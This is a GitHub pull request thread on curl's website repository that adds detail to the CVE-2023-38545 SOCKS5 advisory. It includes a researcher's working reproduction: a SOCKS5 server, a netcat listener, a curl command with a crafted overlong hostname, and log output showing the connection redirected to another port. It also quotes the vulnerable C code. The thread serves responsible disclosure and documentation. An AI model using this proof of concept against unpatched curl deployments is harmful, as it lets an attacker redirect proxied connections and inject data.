Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2023-38545.md: add additional info #308

Closed
wants to merge 1 commit into from
Closed

Conversation

jay
Copy link
Member

@jay jay commented Oct 12, 2023

(Seems plausible but I have yet to try it myself.)

RyotaK on HackerOne reports successful SOCKS handshake with hostname larger than 255 and without buffer overflow by using a crafted hostname to set the remaining data in the handshake. If the handshake completes successfully then I would think the remaining data in the hostname is sent as data to the destination host. This is limited impact because as I noted in the text whitespace cannot be sent and only high port numbers

docs/CVE-2023-38545.md Outdated Show resolved Hide resolved
@Ry0taK
Copy link

Ry0taK commented Oct 12, 2023

Thanks for opening the pull request! (And I apologize for not opening it myself; I didn't notice that the curl website is open-sourced.)

I'm attaching the setup that I used to reproduce this behavior:

SOCKS5 server:

import socks5 from 'simple-socks'

socks5.createServer().listen(1080);

Reproducion log:

research@desktop:~/projects/curl$ node ../socks-proxy/server.js &
[1] 35041
research@desktop:~/projects/curl$ nc -nlvp 24929 &
[2] 35053
research@desktop:~/projects/curl$ Listening on 0.0.0.0 24929

research@desktop:~/projects/curl$ src/curl -L -x socks5h://localhost:1080 'http://localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com/test' -v
*   Trying [::1]:1080...
* Connected to localhost (::1) port 1080
* SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=265]
* SOCKS5 connect to localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com:80 (remotely resolved)
Connection received on 127.0.0.1 50722
* SOCKS5 request granted.
* Connected to localhost (::1) port 1080
> GET /test HTTP/1.1
> Host: localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com
> User-Agent: curl/8.4.0-DEV
> Accept: */*
>
* Received HTTP/0.9 when not allowed
* Closing connection
curl: (1) Received HTTP/0.9 when not allowed
GET /test HTTP/1.1
Host: localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com
User-Agent: curl/8.4.0-DEV
Accept: */*

research@desktop:~/projects/curl$
[2]+  Done                    nc -nlvp 24929

jay added a commit to jay/curl-www that referenced this pull request Nov 19, 2023
RyotaK found a way to exploit the bug by crafting a hostname so that the
SOCKS connection completes successfully but to a different hostname and
port, and possibly arbitrary data is sent to that different host before
the "expected" request is sent on that same connection.

The impact is limited because control characters and null are not
allowed in the hostname.

Ref: https://hackerone.com/ryotak?type=user

Closes curl#308
@jay
Copy link
Member Author

jay commented Nov 19, 2023

Sorry I did not realize I left this marked as WIP. I've changed the wording to better explain that the crafted hostname contains a hostname, port and arbitrary data.

@jay jay marked this pull request as ready for review November 19, 2023 22:04
RyotaK found a way to exploit the bug by crafting a hostname so that the
SOCKS connection completes successfully but to a different hostname and
port, and possibly arbitrary data is sent to that different host before
the "expected" request is sent on that same connection.

The impact is limited because control characters and null are not
allowed in the hostname.

Ref: https://hackerone.com/ryotak?type=user

Closes curl#308
[RyotaK](https://hackerone.com/ryotak?type=user) has
[notified](https://github.com/curl/curl-www/pull/308) that even if the buffer
size is large enough to prevent heap overflow an attacker can still use the
integer overflow of hostname length in conjunction with a crafted hostname
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The reference to an integer overflow puzzles me. How is this an integer overflow?

Copy link

@Ry0taK Ry0taK Nov 25, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Since the hostname_len is a size_t, usually an unsigned int, casting it to the char may cause the overflow, so I called it integer overflow in the original email.
But something like the incorrect conversion between numeric types might fit more?

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

      else {
        socksreq[len++] = 3;
        socksreq[len++] = (char) hostname_len; /* one byte address length */
        memcpy(&socksreq[len], sx->hostname, hostname_len); /* w/o NULL */
        len += hostname_len;
      }

type conversion causes the overflow. there may be an overflow from size_t to char, or from char to unsigned char. assume twos complement and char is signed. it's usually a truncation though a compiler can technically do something else.

something like the incorrect conversion between numeric types might fit more?

i think integer overflow is fine and you had it right unless i'm misinterpreting the standard

Copy link
Member

@bagder bagder Nov 26, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ah yes, you are right. I went back and checked the previous code as I had clearly blanked out on some of the specifics. It is indeed an integer overflow in there. Sorry for the noise.

@jay jay closed this in 5fea672 Nov 27, 2023
@jay jay deleted the update_cve branch November 27, 2023 00:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants